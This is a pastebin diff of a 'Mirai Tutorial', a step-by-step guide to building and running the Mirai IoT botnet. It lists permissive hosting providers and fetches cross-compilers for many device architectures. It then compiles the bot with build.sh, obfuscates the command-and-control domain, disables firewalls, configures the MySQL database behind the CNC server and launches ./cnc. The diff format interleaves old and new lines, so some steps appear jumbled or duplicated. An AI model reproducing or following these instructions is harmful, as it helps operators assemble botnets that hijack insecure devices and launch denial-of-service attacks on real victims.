SHOW:
|
|
- or go back to the newest paste.
| 1 | - | ███╗ ███╗██╗██████╗ █████╗ ██╗ ██████╗ ██████╗ ████████╗███╗ ██╗███████╗████████╗ |
| 1 | + | [#] Mirai Tutorial [#] |
| 2 | - | ████╗ ████║██║██╔══██╗██╔══██╗██║ ██╔══██╗██╔═══██╗╚══██╔══╝████╗ ██║██╔════╝╚══██╔══╝ |
| 2 | + | UPDATED TUT FOR THE GO ERRORS |
| 3 | - | ██╔████╔██║██║██████╔╝███████║██║ ██████╔╝██║ ██║ ██║ ██╔██╗ ██║█████╗ ██║ |
| 3 | + | @ _____ ._____________ _____ .___ @ |
| 4 | - | ██║╚██╔╝██║██║██╔══██╗██╔══██║██║ ██╔══██╗██║ ██║ ██║ ██║╚██╗██║██╔══╝ ██║ |
| 4 | + | @ / \ | \______ \ / _ \ | |@ |
| 5 | - | ██║ ╚═╝ ██║██║██║ ██║██║ ██║██║ ██████╔╝╚██████╔╝ ██║ ██║ ╚████║███████╗ ██║ |
| 5 | + | @ / \ / \| || _/ / /_\ \| |@ |
| 6 | - | ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ |
| 6 | + | @/ Y \ || | \/ | \ |@ |
| 7 | @\____|__ /___||____|_ /\____|__ /___|@ | |
| 8 | - | ████████╗██╗ ██╗████████╗ ██████╗ ██████╗ ██╗ █████╗ ██╗ |
| 8 | + | @ \/ \/ \/ @ |
| 9 | - | ╚══██╔══╝██║ ██║╚══██╔══╝██╔═══██╗██╔══██╗██║██╔══██╗██║ |
| 9 | + | By: Jihadi4Potus/Jihadi4Prez |
| 10 | - | ██║ ██║ ██║ ██║ ██║ ██║██████╔╝██║███████║██║ |
| 10 | + | qTox: [email protected] |
| 11 | - | ██║ ██║ ██║ ██║ ██║ ██║██╔══██╗██║██╔══██║██║ |
| 11 | + | youtube video: https://www.youtube.com/watch?v=G4vUp3ydjs0 |
| 12 | - | ██║ ╚██████╔╝ ██║ ╚██████╔╝██║ ██║██║██║ ██║███████╗ |
| 12 | + | |
| 13 | - | ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝ |
| 13 | + | |
| 14 | - | UPDATED 7/5/17 |
| 14 | + | |
| 15 | - | By: Jihadi4Potus |
| 15 | + | |
| 16 | - | Leakedfiles.org |
| 16 | + | |
| 17 | - | Refrence: https://www.youtube.com/watch?v=G4vUp3ydjs0 |
| 17 | + | |
| 18 | [x0] -Hosting Providers. | |
| 19 | https://www.nforce.com/ | |
| 20 | http://ampnode.com/vps.html | |
| 21 | http://www.novogara.com/ | |
| 22 | https://www.dataclub.biz/ (Accepts Everything but Paypal.) | |
| 23 | ||
| 24 | - | [x0] Hosting Providers. |
| 24 | + | |
| 25 | ;This fixes golang errors when ./build debug telnet , is executed. | |
| 26 | ||
| 27 | -Step One; Install the following on a Debian box. ex. Debian 7 x86_64- | |
| 28 | apt-get update -y | |
| 29 | apt-get upgrade -y | |
| 30 | - | [x01] Install the following on a Debian box. ex. Debian 7 x86_64- |
| 30 | + | apt-get install gcc golang electric-fence sudo git -y |
| 31 | apt-get install mysql-server mysql-client -y | |
| 32 | ||
| 33 | - | apt-get install gcc golang electric-fence sudo git libc6-dev -y |
| 33 | + | -Step Two; Installing and compiling the cross-compilers- |
| 34 | ;If you run build.sh in /mirai folder you will get an error for armv6l, In the main tutorial this wasn't included so I added it to make life easier. | |
| 35 | ||
| 36 | - | [x01.5] |
| 36 | + | |
| 37 | - | ;New version goLang was released and there isn't a library for it yet so that's why you're getting the "go/src/github.com/go-sql-driver/mysql/utils.go:806: undefined: atomic.Value" error this is the fix. |
| 37 | + | |
| 38 | ||
| 39 | - | sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y |
| 39 | + | |
| 40 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 | |
| 41 | - | sudo tar -xvf go1.9.2.linux-amd64.tar.gz |
| 41 | + | |
| 42 | - | sudo mv go /usr/local |
| 42 | + | |
| 43 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 | |
| 44 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 | |
| 45 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 | |
| 46 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 | |
| 47 | wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2 | |
| 48 | ||
| 49 | - | [x02] Installing and compiling the cross-compilers- |
| 49 | + | |
| 50 | tar -jxf cross-compiler-i586.tar.bz2 | |
| 51 | tar -jxf cross-compiler-m68k.tar.bz2 | |
| 52 | tar -jxf cross-compiler-mips.tar.bz2 | |
| 53 | tar -jxf cross-compiler-mipsel.tar.bz2 | |
| 54 | tar -jxf cross-compiler-powerpc.tar.bz2 | |
| 55 | tar -jxf cross-compiler-sh4.tar.bz2 | |
| 56 | tar -jxf cross-compiler-sparc.tar.bz2 | |
| 57 | tar -jxf cross-compiler-armv6l.tar.bz2 | |
| 58 | ||
| 59 | rm *.tar.bz2 | |
| 60 | mv cross-compiler-armv4l armv4l | |
| 61 | mv cross-compiler-i586 i586 | |
| 62 | mv cross-compiler-m68k m68k | |
| 63 | mv cross-compiler-mips mips | |
| 64 | mv cross-compiler-mipsel mipsel | |
| 65 | mv cross-compiler-powerpc powerpc | |
| 66 | mv cross-compiler-sh4 sh4 | |
| 67 | mv cross-compiler-sparc sparc | |
| 68 | mv cross-compiler-armv6l armv6l | |
| 69 | ||
| 70 | -Step Three- | |
| 71 | ;Execute these in your ssh terminal, this will add to your ~/.bashrc | |
| 72 | export PATH=$PATH:/etc/xcompile/armv4l/bin | |
| 73 | export PATH=$PATH:/etc/xcompile/armv6l/bin | |
| 74 | export PATH=$PATH:/etc/xcompile/i586/bin | |
| 75 | export PATH=$PATH:/etc/xcompile/m68k/bin | |
| 76 | export PATH=$PATH:/etc/xcompile/mips/bin | |
| 77 | export PATH=$PATH:/etc/xcompile/mipsel/bin | |
| 78 | export PATH=$PATH:/etc/xcompile/powerpc/bin | |
| 79 | export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin | |
| 80 | export PATH=$PATH:/etc/xcompile/sh4/bin | |
| 81 | export PATH=$PATH:/etc/xcompile/sparc/bin | |
| 82 | export PATH=$PATH:/etc/xcompile/armv6l/bin | |
| 83 | ||
| 84 | export PATH=$PATH:/usr/local/go/bin | |
| 85 | export GOPATH=$HOME/Documents/go | |
| 86 | - | [x03] Adding GoLang paths. |
| 86 | + | |
| 87 | -Step Four- | |
| 88 | ./build.sh debug telnet | |
| 89 | ./build.sh release telnet | |
| 90 | ;Once you execute this in the main mirai directory ./Mirai-Source-Code/mirai, If you did this command before step 2 & 3 you would get an error about the Mysql and sql-drivers, since that's what alot of people have had trouble with. This fixes that. | |
| 91 | ||
| 92 | apt-get install curl git mercurial make binutils bison gcc build-essential -y | |
| 93 | bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer) | |
| 94 | wget https://storage.googleapis.com/golang/go1.9.2.linux-amd64.tar.gz | |
| 95 | tar -xvf go1.9.2.linux-amd64.tar.gz | |
| 96 | mv go /usr/local | |
| 97 | export GOROOT=/usr/local/go | |
| 98 | export GOPATH=$HOME/Projects/Proj1 | |
| 99 | export PATH=$GOPATH/bin:$GOROOT/bin:$PATH | |
| 100 | go get github.com/go-sql-driver/mysql | |
| 101 | go get github.com/mattn/go-shellwords | |
| 102 | ||
| 103 | - | [x04] Fixing errors. |
| 103 | + | |
| 104 | -Step Five; obfuscated string- | |
| 105 | ;I'm running Debian 8 x86_64 so this might be diffrent for you, but the ./debug/enc string {Domain.com} wasn't working for me so the fix is below, make sure you're in /mirai/debug
| |
| 106 | - | go get github.com/go-sql-driver/mysql |
| 106 | + | |
| 107 | - | go get github.com/mattn/go-shellwords |
| 107 | + | |
| 108 | ||
| 109 | ||
| 110 | - | [x05] Obfuscated string |
| 110 | + | |
| 111 | -Step Six; Database setup- | |
| 112 | ;Now where going to setup the database permissions and users. | |
| 113 | ;If you have iptbales/ip6tables or any firewall install disable it. | |
| 114 | ||
| 115 | service iptables stop | |
| 116 | /etc/ini.d/iptbales stop | |
| 117 | - | [x06] Database setup |
| 117 | + | |
| 118 | ;Database setup | |
| 119 | cd Mirai-Source-Code-master/mirai/debug# mysql -u root -p | |
| 120 | /usr/bin/mysql_secure_installation | |
| 121 | ;It will ask you to set a password, make sure you remember this. | |
| 122 | ;Edit your main.go in /cnc/ | |
| 123 | ex: 120.0.0.1:3306 | |
| 124 | ;Once you've done the step above were going to add the database and user perms. follow this link. | |
| 125 | ;Create the database first | |
| 126 | create database mirai; | |
| 127 | ;Next select the database | |
| 128 | use mirai | |
| 129 | ;Copy and paste this into your terminal. (Not the pastebin link, the actual code on the site.) | |
| 130 | http://pastebin.com/BsSWnK7i | |
| 131 | ;Set the credentials you used in the ./cnc/main.go file. It should look like this- http://prntscr.com/dnskj5 | |
| 132 | ;Now your server should be online | |
| 133 | Service mysql restart | |
| 134 | ;Once you restart the mysql server, go to your debug folder ./mirai/release you will seen a compiled file named cnc execute it. | |
| 135 | ./cnc | |
| 136 | ;You should see - http://prntscr.com/dnsluv | |
| 137 | ;Now your going to have to move the prompt.txt file in mirai main directory into the release folder | |
| 138 | ;Now you can login through your ssh client with telnet. | |
| 139 | ||
| 140 | ||
| 141 | Congrats you setup mirai successfully!! |